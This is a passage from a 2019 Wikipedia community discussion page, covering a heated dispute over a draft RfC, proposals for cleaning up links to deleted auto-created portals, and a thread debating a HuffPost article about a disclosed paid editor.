style="white-space:nowrap;font-family:'Trebuchet MS'"> — [[User:SMcCandlish|'''SMcCandlish''']] [[User talk:SMcCandlish|☏]] [[Special:Contributions/SMcCandlish|¢]] 😼 </span> 03:48, 18 March 2019 (UTC)
::{{yo|SMcCandlish}}, more bad faith nonsense.
::# It is entirely reasonable of me to assume that an editor who is active posting on the pages of someone with whom they have had a disagreement reads their notifications. If you did not follow the notfication to stay off my talk page, that was your choice to ignore something pertinent.
::# I have engaged in no gaming and no baiting. That is yet more of your malicious nonsense. At no point did I invite your comments on the draft, and you posted the on a page which contained a very clear notice to post unless invited, with a list of who was invited which did not include your name
::#At no point did I {{tq|"banned" me from her talk page then making repeated demands I take something from the draft RfC talk page to her talk page}}. I quoted to you repeatedly the notice at the top of the age on which you had been posting uninvited. It did rescind the ban.
::#SMcC claims {{tq|If you're going to draft an RfC and refuse others' input, don't advertise the RfC and it's talk page}}. I did NOT advertise it; I mentioned its existence in one-to-one conversation, in the interests of transparency.<br/>If I told you where you my house is, would you interpret that as a license to push your way in past the notice saying "not unless uninvited" and then throw a tantrum if you were asked to leave? That is exactly what you did there.
::If you actually care about a {{tq|neutral, policy-compliant, sensibly worded RfC}} ... then please find within yourself the integrity to acknowledge that:
::* that is precisely the aim I set out at the top of the draft
::* That I have not acted unilaterally, and specifically asked editors to work me on the precise basis that they disagree with me. That is all set out publicly
:: I do not actually believe your belated claim that your concern is about the RFC. What I see is a rude editor who repeatedly misrepresented what I had written, maliciously accused me of acting in bad faith ... and has now thrown the absolute mother of all bogus accusation FUD temper-tantrums because (surprise! surprise!) the editor who he maliciously accused of bad faith doesn't want to work with him.
::We are all volunteers here, SMcC. If you come to any editor or admin's talk, make outrageous and malicious allegations of bad faith, then do you really really expect to be asked to join a collaboration which had ''already'' been chosen to keep numbers low and views balanced? Really? Staggering sense of entitlement.
::Sleep it off, SMcC. --[[User:BrownHairedGirl|<span style="color:#663200;">Brown</span>HairedGirl]] <small>[[User talk:BrownHairedGirl|(talk)]] • ([[Special:Contributions/BrownHairedGirl|contribs]])</small> 04:58, 18 March 2019 (UTC)
{{abot}}
=== Proposal 8: Help with unlinking ===
Now that the number of deletions is going up, I propose we use a bot to remove the resulting redlinks from the articles and templates that link to the deleted portals? Twinkle doesn't really do the job, because it leaves a non-link on the template or in the article's See also section, which doesn't really seem to make sense (see {{t|Agoura Hills, California}} for Twinkle's result). This will become important if the X3 proposal gains consensus. Absent that, I propose we get a dedicated group of editors to help with this task? It would be really nice if some of the members of [[WP:WikiProject Portals]] who created these (now red) links helped with the cleanup instead of taking their toys and going home. Ideas welcome. [[User:UnitedStatesian|UnitedStatesian]] ([[User talk:UnitedStatesian|talk]]) 06:37, 27 March 2019 (UTC)
:Have you tried [[User:Evad37|Evad37]]'s [[User:Evad37/Xunlink.js|Xunlink.js|]]? It's better than Twinkle, though it too may leave the non-link on the template I guess. [[User:SD0001|SD0001]] ([[User talk:SD0001|talk]]) 05:13, 29 March 2019 (UTC)
:I have removed the links which I created to portals which have since been deleted. The rest I will leave, to be part of the usual deletion process. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 16:34, 2 April 2019 (UTC)
::Thanks so much, appreciate it. [[User:UnitedStatesian|UnitedStatesian]] ([[User talk:UnitedStatesian|talk]]) 16:09, 3 April 2019 (UTC)
:::The project members are too busy copy-pasting generic keep votes while they expect everyone else to come up with detailed unique rationals to delete on a portal by portal basis. The side project is opposing any bundling of noms. There is no time to handle boring jobs like removing links or fixing busted portals. [[User:Legacypac|Legacypac]] ([[User talk:Legacypac|talk]]) 16:42, 3 April 2019 (UTC)
::::Yes, the need to respond to hundreds of simultaneous copy-pasted MfDs is diverting many good editors from useful work. [[User:Certes|Certes]] ([[User talk:Certes|talk]]) 16:53, 3 April 2019 (UTC)
:::::Look, because only one of the creators has objectively assessed the community's consensus and offered speedy U5 deletions, we have about 4,000 to discuss at MfD. Some will be kept, some will be deleted, but without pointing fingers we can all agree it is time consuming: will probably take about a year to get all the discussions completed. [[User:UnitedStatesian|UnitedStatesian]] ([[User talk:UnitedStatesian|talk]]) 17:44, 3 April 2019 (UTC)
::::::And taking that long is not a problem. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 07:30, 4 April 2019 (UTC)
:::::::Of course not, having a year of tagging, discussion, back and forth, to debate the fate of thousands of creations which took one person a few hours to create obviously is ''not a problem''. Sending our readers to error-riddled, useless, uncared for portals is ''not a problem''. The only problem apparently is daring to question why ''these'' portals have to exist in the first place. Oh right, because of the content in them, which we should never delete but keep or merge. Except that they contain no content at all, of course, and there is nothing there to merge. [[User:Fram|Fram]] ([[User talk:Fram|talk]]) 07:44, 4 April 2019 (UTC)
::::::::The portals should not have been created so quickly, but they were. Unless you have a time machine, that's not something you can change, so we have to work from where we are. Some of the portals should be deleted, some should be kept and some should be merged into broader portals - I have !voted all three ways on MfDs. Deleting those portals that should not be deleted will harm the project (in the same way that deleting anything that should not be deleted harms the project - which is why the ability to delete pages is restricted to administrators and speedy deletion is restricted even further), but no harm will come from those portals that should be deleted hanging around for a bit. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 08:27, 4 April 2019 (UTC)
:::::::::You still persist with the nonsense that something ''can'' be merged here? Okay... How does it ''harm the project'' if pages which didn't exist for 15 years, contain no content not already available in the mainspace, are being used by very few people, and in many cases contain basic errors (like showing utterly unrelated pages, having large lua errors, duplicating an already existing portal, ...) get deleted ''without prejudice against recreation by a human''? At worst, deleting those upsets the editor who caused this whole sorry mess. While this is not the intention, it is hardly something I see as a valid argument against deletion here. On the other hand, these portals make us look even less efficient and trustworthy than we are, add clutter to articles, confuse readers (when we have e.g. two portals about the exact same topic), ... [[User:Fram|Fram]] ([[User talk:Fram|talk]]) 11:21, 4 April 2019 (UTC)
::::::::::I have explained merging of portals to you multiple times in multiple places. That you disagree with me is fine, but just because you do does not make my opinion "nonsense", "disruptive", "incompetent" or any of the other derogatory and dismissive labels applied to it. The strong community consensus in the RfC is that portals (as a class, and good ones individually) are a net benefit to the project, therefore mass deleting them as a class and mass deleting individual ones that are of good quality removes that benefit. Anything that removes a benefit from the encyclopaedia obviously harms the project. Sometimes that harm is outweighed by other benefits deletion will bring but given that the best even the most argent opponents of portals can offer is that they can be undeleted later doesn't indicate any benefit to deleting them, let alone sufficient to outweigh the harm. Poor quality and duplicate portals are not ideal, but the same is true of articles (which are much more visible) and we don't speedy delete all new articles because some are poor or duplicates, instead we do such things as improve them, merge them, redirect them, and delete only those that are incapable of improvement or which duplicate better articles ''and'' have titles which are not suitable as redirects. That they make the project look less trustworthy is an argument I've seen advanced a few times over the years, but never with any evidence to back it up - it's an opinion, but nothing more than an opinion that (to my knowledge) has never been discussed anywhere to determine whether it is one shared by the community in general or not. [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 12:22, 4 April 2019 (UTC)
:::::::::::I don't think I have used "incompetent" or "disruptive" (perhaps the latter, but that is one you have been using even in this very discussion to describe actions by others...). But you still haven't shown how you would merge a contentless page to another contentless page, you have just stated this (yes, repeatedly), but that doesn't make it any more true. "The strong community consensus in the RfC is that portals (as a class, and good ones individually) are a net benefit to the project, therefore mass deleting them as a class and mass deleting individual ones that are of good quality removes that benefit." There is no proposal here to mass delete the class of portals, the proposal, as you well know, is to mass delete the automated, careless, basically unsupervised creations by TTH. These are not "good quality" portals, these are either completely deficient ones or when luck has it portals which scrape by the minimum standards of the portal guidelines if one doesn't look to hard at all the requirements. Simply repeating that they are a benefit to the project, when so many of these have been shown to have no benefit at all, is not convincing. "we don't speedy delete all new articles because some are poor or duplicates, instead we do such things as improve them, merge them, redirect them, and delete only those that are incapable of improvement or which duplicate better articles ''and'' have titles which are not suitable as redirects." Except for those cases were it has become clear that too many articles from a creation batch (e.g. all articles by Sander v Ginkel, or some batches of 1000+ creations by Dr. Blofeld or Jaguar) were partly or completely wrong: in those cases, we deleted (or otherwise removed from mainspace) ''all'' these articles in one go, not after individual AfDs, because the percentage of problematic ones was too high, and the time needed to go through them one by one also too high. In those cases, we certainly deleted good (as in error-free) articles as well, but we did it anyway, and this was a good thing. Why we would take a different approach for pages which don't even contain new content (or any content), and where thus nothing is actually lost on deletion, is still not clear. [[User:Fram|Fram]] ([[User talk:Fram|talk]]) 13:11, 4 April 2019 (UTC)
:::::::::::{{ping|Thryduulf}} I see a statement in your last message that is so absurd that it requires a reply. You claim there is consensus that portals, as a class, are a net benefit to the project. The accurate state is that there is consensus that ''some'' portals are a net benefit to the project. And there is nothing to merge in unedited automated portals; I don't know if there is anything that can constructively be merged in ''edited'' automated portals. — [[User:Arthur Rubin|Arthur Rubin]] [[User talk:Arthur Rubin|(talk)]] 03:35, 6 April 2019 (UTC)
::::::::::::{{replyto|Arthur Rubin}} by "portals as a class" I mean that there is consensus that having portals at all is a benefit to the project. That doesn't mean that every portal is a benefit (I don't think anybody is arguing that, I'm certainly not), simply that "being a portal" is not a reason to delete (unlike, say, being a copyright violation, or being a template that misrepresents policy). In terms of merging, please see my explanations elsewhere (I don't have time right now to explain again - I shouldn't even be online!) [[User:Thryduulf|Thryduulf]] ([[User talk:Thryduulf|talk]]) 10:30, 6 April 2019 (UTC)
:::::They don't ''need'' to respond to anything. The portals were ''created'' without even looking at them (as the basic errors in many of them attest to), they are not maintained, they are in most cases not used or appreciated by the readers, but you still feel the need to defend them because... well, why actually? If you want to do useful work instead of opposing the deletion of these portals, please do, no one is stopping you! [[User:Fram|Fram]] ([[User talk:Fram|talk]]) 07:38, 4 April 2019 (UTC)
=== Proposal 9 - delete the ones with no human improvements, leave the rest open to MFD ===
Human improvement can just mean that a bot checks whether anyone else has edited the portal. It could be announced a week or two in advance so if someone wants to preserve a particular portal, all they have to do is edit it. This is similar in spirit to the bot operation in the Darius Dhlomo (DD) CCI of a while back. DD had created around 10000 pages with suspected copyvios, and maybe 2000 of them were subsequently edited by other people. So after much discussion, someone launched a bot that blanked articles touched only by DD, leaving others for manual review.
Obviously people should not wp:game the mechanism by editing portals without making improvements or having some other argument that the portal is worth keeping, particularly on large numbers of portals. [https://en.wikipedia.org/w/index.php?title=Wikipedia_talk:WikiProject_Opera&diff=prev&oldid=889691538 This comment] by Voceditenore shows how thoughtless the auto-creation was. [[Special:Contributions/173.228.123.166|173.228.123.166]] ([[User talk:173.228.123.166|talk]]) 18:54, 6 April 2019 (UTC)
== HuffPost article on WP COI editing ==
Thanks to {{u|JamesG5}} I bumped into this HuffPost article of yesterday (or today depending on your timezone). It is dedicated to a particular COI editor on WP:
* {{cite news | url=https://www.huffingtonpost.co.uk/entry/wikipedia-paid-editing-pr-facebook-nbc-axios_n_5c63321be4b03de942967225 | title=Facebook, Axios And NBC Paid This Guy To Whitewash Wikipedia Pages. And it almost always works. | date=14 March 2019 | publisher=[[Huffington Post]] | author=Ashley Feinberg}}
Does it offer ideas for anything actionable? — [[User:Kashmiri|<span style="color:#30C;font:italic bold 1em Candara;text-shadow:#AAF 0.2em 0.2em 0.1em;">kashmīrī</span>]] [[User talk:Kashmiri|<sup style="font-family:Candara; color:#80F;">TALK</sup>]] 00:05, 15 March 2019 (UTC)
*So long as he has disclosed and not directly edited pages, there's nothing we can do. If someone wants to change the policy to be stricter and prohibit it completely, I'll be the first to support, but I don't think we have that consensus yet (though I believe we eventually will. Also, note I'm talking about PR nonsense, not Wikipedians-in-residence, which is always a sticking point.){{pb}}I'll add that articles like this make us look ridiculous and that our official begrudging acceptance of disclosed paid editing is even more of a threat than undisclosed paid editing because it ruins our reputation when major media outlets runs stories like this.{{pb}}Finally, I'll put my 2¢ in that admins and others should not let declated paid editors do what I refer to as ''TOU bludgeon'': declaration is the minimum required to edit. It is not a free pass to spam. [[WP:NOTSPAM]] is still local policy and if someone openly declares themselves a spammer and the content matches, they should be indefinitely blocked without warning. [[Native advertising]] is very much a thing, and just because spam doesn't look like it did in 2005 when out policies were written, doesn't mean that our policies don't apply. [[User:TonyBallioni|TonyBallioni]] ([[User talk:TonyBallioni|talk]]) 00:14, 15 March 2019 (UTC)
::{{u|TonyBallioni}} I completely and passionately agree with your last paragraph. However, If a media organization wants to take issue with the calls we make on controversial topics they can and they will and we might not come out the otherside so great - they're tough areas for a reason. The fact that we have transparency means we can, if we want, revisit any of these editorial decisions. If there was no declaration those changes would be made and we wouldn't know or be any wiser and the community would have no option to re-evaluate the thinking. There are no good decisions for us to make here only least awful ones. Best, [[User:Barkeep49|Barkeep49]] ([[User_talk:Barkeep49|talk]]) 00:47, 15 March 2019 (UTC)
:::Which headline makes us look more like fools:
:::#''[https://www.bbc.com/news/technology-34127466 Wikipedia blocks hundreds of 'scam' sock puppet accounts]''
:::#''[https://www.huffingtonpost.co.uk/entry/wikipedia-paid-editing-pr-facebook-nbc-axios_n_5c63321be4b03de942967225 Facebook, Axios And NBC Paid This Guy To Whitewash Wikipedia Pages And it almost always works]''
:::The first headline is about Orangemoody. The second one is about someone following our TOU and policies. Anyone who has ever worked a day in a marketing department can tell you which headline they'd prefer.{{pb}}This is significant because we've fought for years to have our credibility accepted. I'm ''not'' saying that this is worse ethically than Orangemoody. Of course it isn't. I am saying that to the general public, this looks significantly worse. In Orangemoody, we were the heroes: fighting a bad guy scamming people out of their money. Here we are the bureaucrats that allow Big Tech to whitewash their own articles.{{pb}}Regardless of what the ''actual'' impact is on individual articles, the perceived impact is worse from declared PR editing, and that in turn makes all of the featured articles on notable topics that are extremely well researched worth less to the reader.{{pb}}I'm well aware that these are tough calls, but I'm saying that the community does need to consider perception here, and the perception from "white hat" editing on the outside is worse than some of our biggest sockfarms. I don't want an RfC on this now, but I do think it is something that is missing from community discussion on the topic, which is why I'm raising it. [[User:TonyBallioni|TonyBallioni]] ([[User talk:TonyBallioni|talk]]) 00:57, 15 March 2019 (UTC)
::::Not to detract from TonyBallioni's points, but just to answer one of the original questions of whether there is anything actionable, I didn't see such a thing. Problematic, sure. Actionable? Well, since the editor in question responds reasonably to comments, I don't see anything in particular right now. HuffPo also I feel is being a bit misleading. Regarding the Oppenheimer/Farrow thing, for instance, looking back, the section we had in his article was completely inappropriate for a BLP given what the sources actually stated. If what was previously written were verifiable, then those sources should have been added if the content was to stay like that. The wall-o-texts that HuffPo complains about don't seem big to me. And whether an article on a website needs to mention a criminal complaint against the founder is a completely ordinary coat rack discussion. Well, I guess '''CORPORATE PR PHONY WIKIPEDIA EDITOR WHITEWASHES ARTICLES''' is more compelling clickbait than '''Several companies pay Wikipedia editor to file routine boring complaints about content that arguably violates Wikipedia's own policies.''' [[User:Someguy1221|Someguy1221]] ([[User talk:Someguy1221|talk]]) 01:26, 15 March 2019 (UTC)
::::I don't think today's headline is worse for us than [https://medium.com/s/powertrip/wikipedias-top-secret-hired-guns-will-make-you-matter-for-a-price-a4bdace476ae Wikipedia’s Top-Secret ‘Hired Guns’ Will Make You Matter (For a Price)] and at least today we can decide if the changes really were policy compliant or not. Best, [[User:Barkeep49|Barkeep49]] ([[User_talk:Barkeep49|talk]]) 01:58, 15 March 2019 (UTC)
:::::Damn, what's next? Soon they'll discover that I've been taking millions to edit Intel articles. THE JIG IS UP [[User:Drmies|Drmies]] ([[User talk:Drmies|talk]]) 02:06, 15 March 2019 (UTC)
::::::Millions?! I only get a few rubles! You need to hook me up.{{wink}} [[User:PackMecEng|PackMecEng]] [[User talk:PackMecEng|talk]]) 02:10, 15 March 2019 (UTC)
::::::Bedoel je niet wij, {{u|Drmies|goede dokter}} ;-). [[User:TonyBallioni|TonyBallioni]] ([[User talk:TonyBallioni|talk]]) 02:12, 15 March 2019 (UTC)
:::::::Nice try, Tony, but that you are me (I?) is only a rumor on Reddit, and at any rate I AM NOT SHARING THE MILLIONS I GOT FROM INTEL FOR EDITING THAT ARTICLE WITH YOU. Damn I hope that that person who exposed me AS A PAID EDITOR FOR INTEL doesn't read this. [[User:Drmies|Drmies]] ([[User talk:Drmies|talk]]) 02:14, 15 March 2019 (UTC)
::::::::I once made a rather noncontroversial edit about compact fluorescent bulbs being more efficient than incandescent bulbs (this was before LED bulbs became affordable) and was accused of being "a paid shill for the Twisty Bulb Cartel". How did they guess? --[[User:Guy Macon|Guy Macon]] ([[User talk:Guy Macon|talk]]) 20:11, 5 April 2019 (UTC)
*Back on point, while I agree the headline isn't great for Wikipedia, making policy in response to headlines is a slippery slope that I, for one, don't want to embark upon. Of course HuffPo is going to write the most sensational headline they can coin out of a relatively scant set of facts. I'm not really convinced that there is a lot in the story we should be worried about, which just leaves the headline. If you're looking for headlines critical of Wikipedia handling of material, there are plenty out there and they really do affect our credibility with a big section of the population; we shouldn't make policy in response to those headlines, either. [[User:GoldenRing|GoldenRing]] ([[User talk:GoldenRing|talk]]) 10:41, 15 March 2019 (UTC)
::The headline itself is useless, but the rest of the text could possibly be of use for those who want to take a look at the mentioned articles. [[User:Gråbergs Gråa Sång|Gråbergs Gråa Sång]] ([[User talk:Gråbergs Gråa Sång|talk]]) 12:05, 15 March 2019 (UTC)
: Just to make it clear, we are talking about {{noping|BC1278}}--[[User:Ymblanter|Ymblanter]] ([[User talk:Ymblanter|talk]]) 15:21, 15 March 2019 (UTC)
:: And I think the question the HP asks in our language would be whether their actions are compatible with [[WP:CANVASSING]].--[[User:Ymblanter|Ymblanter]] ([[User talk:Ymblanter|talk]]) 15:39, 15 March 2019 (UTC)
:Hi. BC1278 here. Overwhelmingly, my Request Edits are made through a Request Edit flag. The format is usually very concise, as suggested by [[User: Spintendo]], a frequent reviewer to the Request Edit queue: e.g. [[Talk:Pace_University#Request_Edit]], [[Talk:Jonathan_Swan#Request_Edits]]. The "wall of text" complaint the author of the HuffPo column picked up on happened in an article about [[Noah Oppenheim]] during extended discussions about controversial issues with multiple RfCs. The consensus decisions ultimately reached by independent editors were not remotely like my original proposed edits, as the HuffPost author falsely implies. Instead, independent editors did their job and came to their own conclusions. One outcome of participating in a couple of these very contentious discussions was a chat last year with DGG, who advised me that he had learned over the years there's very little advantage in getting involved in debates after you've made your point once - you're not going to convince people to change their minds anyway. I have tried to adopt his style since. The HuffPost column is focused on a few high-profile media-related Wikipedia articles which involved public controversies (the author's beat), rather than how I conduct myself on Wikipedia in general. It's click bait. It is also rife with mistakes and misleading statements too numerous to explain here. I am going to ask for HuffPo for multiple corrections. For example, she ignores that I was the editor who suggested expanding into a robust paragraph, the few words mentioning the Matt Laeur firing on [[NBC News]], despite the subject being very unflattering to them. But I wanted the NBC News article to be up to date anyway. The HuffPo author cherry picked one sentence she didn't like in my proposed edit, even though, as per a normal independent review, another editor chose to use entirely different language than anything I submitted (and I added words of encouragement, saying it was well done.) [[Talk:NBC_News#Expanded_info_on_Matt_Lauer]] Her example of alleged canvasing are notifications to editors who had already participated in extended discussions on [[Talk:Noah Oppenheim]] that more discussions were continuing in a new RfC. If she looked carefully, she would have seen that I notified (or tried to) all the recent editors, including those who opposed my proposals previously, such as [[User: Peter K Burian]]. This was my first RfC and to me, there appeared to already be consensus, when JytDog re-opened the question as a new RfC. I thought the previous editors discussing the same matter should be notified again. Today, having been through a few, I would have added all the notifications right on the RfC page, to be transparent, and let others double check I didn't mistakenly leave anyone out. Or, to be honest, I just wouldn't bother to notify anyone - at the time, I didn't know how RfC editors were even called upon.[[User:BC1278|BC1278]] ([[User talk:BC1278|talk]]) 20:36, 15 March 2019 (UTC)BC1278
::FYI, if you'd like to know what its like to field inquiries from prominent organizations, PR firms or individuals who think articles about them have problems, or want a new article, many balk when I tell them how I work - with full disclosure of COI as a paid editor and submitting all suggested edits for independent review. They don't want to take the risk of appearing in articles like the one by HuffPo. So I turn down their business, as my entire premise is that I do "white hat" work, only for those who want to follow the rules. Sometimes, a few months or a year down the road, I check to see if the articles of those who chose not to work with me nonetheless were edited or published as they wanted -- and it's usually the case they have been, but never with a public disclosure of COI or prior review. As the editing is anonymous, I can't be sure what happened, of course. I do know it will be more difficult to get subjects to publicly disclose because of this article, but it won't slow down the organizations/individuals from violating Wikipedia policy and making direct edits. Not in my experience. Only a much more radical change will solve the problem -- for example, the elimination of anonymous editing, with all user accounts requiring a LinkedIn profile. Then, COI and agenda editing will be more obvious. It would also go a long way toward solving the civility issues. But given the sanctity of anonymous editing on Wikipedia, I guess it isn't viable.[[User:BC1278|BC1278]] ([[User talk:BC1278|talk]]) 20:36, 15 March 2019 (UTC)BC1278
:::Hi guy here who thinks you're right that UPE is worse. But do you understand why as a volunteer how your 700+ words are troubling and could be seen as [[WP:BLUDGEON]]ing this conversation in contradiction of [[WP:PAYTALK]]. Best, [[User:Barkeep49|Barkeep49]] ([[User_talk:Barkeep49|talk]]) 21:33, 15 March 2019 (UTC)
::::Yes. Sorry/ I re-read it a bunch of times to try to cut it. But I'm responding to a major press article that made a slew of misleading and inaccurate statements about me, personally, and that now seems to be swaying discussion on Wikipedia policy itself. For four years, I've worked to convince organizations and PR firms to abide by COI disclosure rules because that's what Wikipedia has decreed is kosher Someone from the Wikimedia Foundation needs to publicly stand up to this young media reporter who thinks UPE is more ethical than declared PE or declared COI editing. That's what this author is explicitly saying! I received calls and emails from major PR agencies all day -- if this is the new normal, they're going to direct business away from the "white hats." There are board meetings taking place next week to formalize this, affecting some of the largest corporations in the world. Unless something changes, the outcome will be a lot more business for "black hats."[[User:BC1278|BC1278]] ([[User talk:BC1278|talk]]) 04:00, 16 March 2019 (UTC)BC1278
:::::I don't agree with this. UPE is bad, and we obviously need to root it out when we can; but I feel that Wikipedia is large enough now that the damage it can do is ultimately containable. Declared paid editing, on the other hand, hurts Wikipedia's reputation by making it seem as though we don't care about the potential issues raised in articles like this one at all. And, more generally - "if you ban this, people will just evade and do it anyway" has not, I think, generally been a strong argument for anything. People get away with violating all sorts of policies. (I would also add, as I mentioned down below, that I feel that the nature of paid editing and the confusion over it allows paid editors to get away with clearly [[WP:TENDENTIOUS]] editing that would get a normal editor in far more trouble, since people feel that that one-sided editing is "expected" from them. An undisclosed paid editor cannot devote the same intensity, passion, and time that you have brought to your work here, since it would attract attention, opposition, and, eventually, sanctions.) But more generally you're ''not wrong'' that everyone has POVs and that most tendentious editing goes unsanctioned - the really serious problem for disclosed paid editing is the damage it does to Wikipedia's reputation, which I feel is, today, a more serious problem than any other aspect of the issue. --[[User:Aquillion|Aquillion]] ([[User talk:Aquillion|talk]]) 01:52, 5 April 2019 (UTC)
*I mean, yeah, it does. BC1278 is alleged to be a serial POV-pusher and professional whitewasher, who [[WP:GAME|games the system]] to get his edits through with a combination of relentless [[WP:BLUDGEON|bludgeoning]] and [[WP:CANVASS|canvassing]]. That's extremely alarming and I was ready to crucify this guy. I was even pissed to see the lighthearted reactions above. But, when you actually examine the article, I'm not seeing any violations. In fact, I'm not really seeing anything of major concern. The article itself seems to quietly concede that he doesn't actually violate any policies. In fact, it comes across as extremely misleading and obviously written by someone who doesn't understand Wikipedia at all. He "spent over a year lobbying" for the creation of [[Caryn Marooney]]? Come on, he created it as a draft and got it approved through the AfC process, not because he's some relentless lobbyist. Relentless bludgeoning, based on [[Talk:Noah_Oppenheim#RfC on decision to let Weinstein story go|this]]? Really? He's literally just discussing something in the discussion section, because he was refraining from !voting. Obviously the writer has never witnessed true bludgeoning. Canvassing? The supposed incidents of "canvassing" are usually explained as simply being notifications to relevant users who are involved in some way, such as WikiProject members. I have not seen any refutations of that point. I mean, one of the warnings cited was literally for notifying the ''only'' other contributor to an article about a deletion discussion.[https://en.wikipedia.org/w/index.php?title=User_talk%3ALake_Ontario_Wind&type=revision&diff=844905493&oldid=841064608] There's nothing even particularly unreasonable about that. Most of the supposed "whitewashing" seems to be mundane matters that don't harm articles at all, if not actual improvements, like making articles better comply with BLP. "It almost always works"? Uh, yeah, if you're in compliance with policies and are making reasonable requests that are being vetted by established editors who decide to approve them, then good for you, you're not terrible at what you do. It certainly isn't because the community has no problem with paid COI editors, on the contrary, they're among the most stigmatized editors within the community. This article seems to be little more than an unfortunate piece of trumped-up clickbaity garbage, and I actually feel bad for the paid editor here. I hope both the editor and the Foundation will push back in some way. If COIN wants to do an in-depth investigation of this editor, that's perhaps a reasonable reaction, but based solely on the allegations and supporting evidence presented in the article, which, I assume was the worst they could find, there's nothing actionable there. [[User:Swarm|<span style="color:Green">'''~Swarm~'''</span>]] [[User talk:Swarm|<span style="color:DarkViolet">'''{talk}'''</span>]] 21:02, 16 March 2019 (UTC)
::{{u|Swarm}} I have spent some time examining this user's editing. I think on the whole I agree with your analysis. But even in that rather long analysis above you're still about 55% as verbose as {{u|BC1278}} is in his response here. I think given PAYTALK, which I value as a volunteer editor, he could learn how to be more concise. The problem with him at Oppenheim, as I see it, isn't with the RfC, it's with what came [https://xtools.wmflabs.org/topedits/en.wikipedia.org/BC1278/1/Noah_Oppenheim before]. Similar verbose behavior can be seen at other of his [https://xtools.wmflabs.org/ec/en.wikipedia.org/BC1278#top-edited-pages pages]. I compare that to [https://en.wikipedia.org/wiki/Special:Contributions/VZBob this paid editor] who accomplishes their work in a far more concise manner. But to emphasize I think that the HuffPo article, like much of the media commenting on Wikipedia practices, gets things wrong, and in this case does so with a clear agenda in mind. Best, [[User:Barkeep49|Barkeep49]] ([[User_talk:Barkeep49|talk]]) 22:24, 16 March 2019 (UTC)
:*I think that that's a misreading of the article, which is clearly written from the perspective that all paid editing is inherently problematic and that our policies allowing it are the core issue here. Obviously people here disagree on that, but it's not a reason to ''disregard'' the source - I don't think there's anything inherently wrong or questionable about positing that paid editing, even by someone who follows all our rules, might unbalance articles due to the disparate levels of energy and time devoted. (Although the article doesn't say this, I think it's also worth pointing out that the nature of Wikipedia has changed a lot since we originally decided to allow paid editing, generally in ways that make it more problematic - controversies over low-to-mid-tier articles are more likely to get hashed out on talk pages in general, say, which makes many of the restrictions we place on paid editors moot and calls into question whether the image problem they create for the project is worth what we get by having them declare themselves instead of inevitably just evading successive bans.) --[[User:Aquillion|Aquillion]] ([[User talk:Aquillion|talk]]) 01:16, 5 April 2019 (UTC)
:I think that there is a "money is bad" mentality that induces people into writing articles of debatable accuracy about paid editing on Wikipedia. In a way it's similar to the POV-pushing process. I agree that the "bludgeoning" there isn't, plenty of people write mildly detailed arguments. And if memory serves this would be far from the first time where a news article about Wikipedia has turned out to be partially or mostly wrong. Some caution is due before citing newspaper articles about Wikipedia as arguments for a policy change or on-wiki action. [[User:Jo-Jo Eumerus|Jo-Jo Eumerus]] ([[User talk:Jo-Jo Eumerus|talk]], [[Special:CentralAuth/Jo-Jo Eumerus|contributions]]) 21:16, 16 March 2019 (UTC)
* Thanks {{u|Swarm}} for taking time to go through the edit history and this way answering my original question.
: As to COI editing, {{u|Jo-Jo Eumerus}} has put it right. We often distrust those who have vested financial interest in what most of us are doing for free, ''ergo'', in our view, selflessly.
: Hopefully, in the longer run, common sense will prevail. Maybe a day will come when for example we will allow company infoboxes to be edited by company staff, or person infoboxes by article subjects. Until we find an open and transparent way of managing COI, we will see articles like the HuffPost piece. — [[User:Kashmiri|<span style="color:#30C;font:italic bold 1em Candara;text-shadow:#AAF 0.2em 0.2em 0.1em;">kashmīrī</span>]] [[User talk:Kashmiri|<sup style="font-family:Candara; color:#80F;">TALK</sup>]] 00:44, 17 March 2019 (UTC)
::{{u|Swarm}}, {{u|Barkeep49}}, {{u|Jo-Jo Eumerus}}, {{u|Kashmiri}}, {{u|Ymblanter}}, {{u|GoldenRing}}, {{u|TonyBallioni}}, {{u|PackMecEng}}, {{u|Drmies}}, [[User:Gråbergs Gråa Sång|Gråbergs Gråa Sång]] and anyone I missed here: Given the subject of the Request Edit here [[Talk:Caryn_Marooney#section=1]] and the already removed language from [https://en.wikipedia.org/w/index.php?title=NBC_News&diff=887925487&oldid=887923833 from NBC News] (editors using this HuffPo article to include accusations of Wikipedia impropriety in the WP articles about the organizations mentioned), would it be possible for an official consensus as to whether this article is or is not a reliable source for alleging paid editing impropriety such that it can be included in the Wikipedia mainspace articles about or related to the organizations highlighted in HuffPo? Or, whether the article is reliable in general? This is going to repeat over and over.[[User:BC1278|BC1278]] ([[User talk:BC1278|talk]]) 23:10, 17 March 2019 (UTC)
:::I'd say it's reasonably reliable for ''alleging'' (by which I mean "according to HuffPost" or whatever) paid editing impropriety, but will currently probably fail on [[WP:UNDUE]]/[[WP:NOTNEWS]] (and maybe [[WP:BLP]], depending on use) aspects. I was thinking of [[Conflict-of-interest_editing_on_Wikipedia#Miscellaneous]], but it seems a little weak on it's own. HuffPost is not ''Daily Mail'', but it's not ''Washington Post'' either. [[User:Gråbergs Gråa Sång|Gråbergs Gråa Sång]] ([[User talk:Gråbergs Gråa Sång|talk]]) 07:59, 18 March 2019 (UTC)
::*{{ping|BC1278}} In response to your request for {{tq|"an official consensus"}}, I've started a discussion on the reliable sources noticeboard at {{slink|WP:RSN|HuffPost for paid editing at Axios (website), NBC News, Caryn Marooney, and other articles}}. — '''''[[User:Newslinger|<span style="color:#536267;">Newslinger</span>]]''' <small>[[User talk:Newslinger#top|<span style="color:#708090;">talk</span>]]</small>'' 17:51, 2 April 2019 (UTC)
* Speaking of [https://en.wikipedia.org/w/index.php?title=Talk%3ACaryn_Marooney&type=revision&diff=888251819&oldid=887952971 WP:BLUDGEON and WP:PAYTALK...] [[Special:Contributions/2600:6C44:E7F:F8D6:8694:953B:9EC1:FBC|2600:6C44:E7F:F8D6:8694:953B:9EC1:FBC]] ([[User talk:2600:6C44:E7F:F8D6:8694:953B:9EC1:FBC|talk]]) 04:27, 18 March 2019 (UTC)
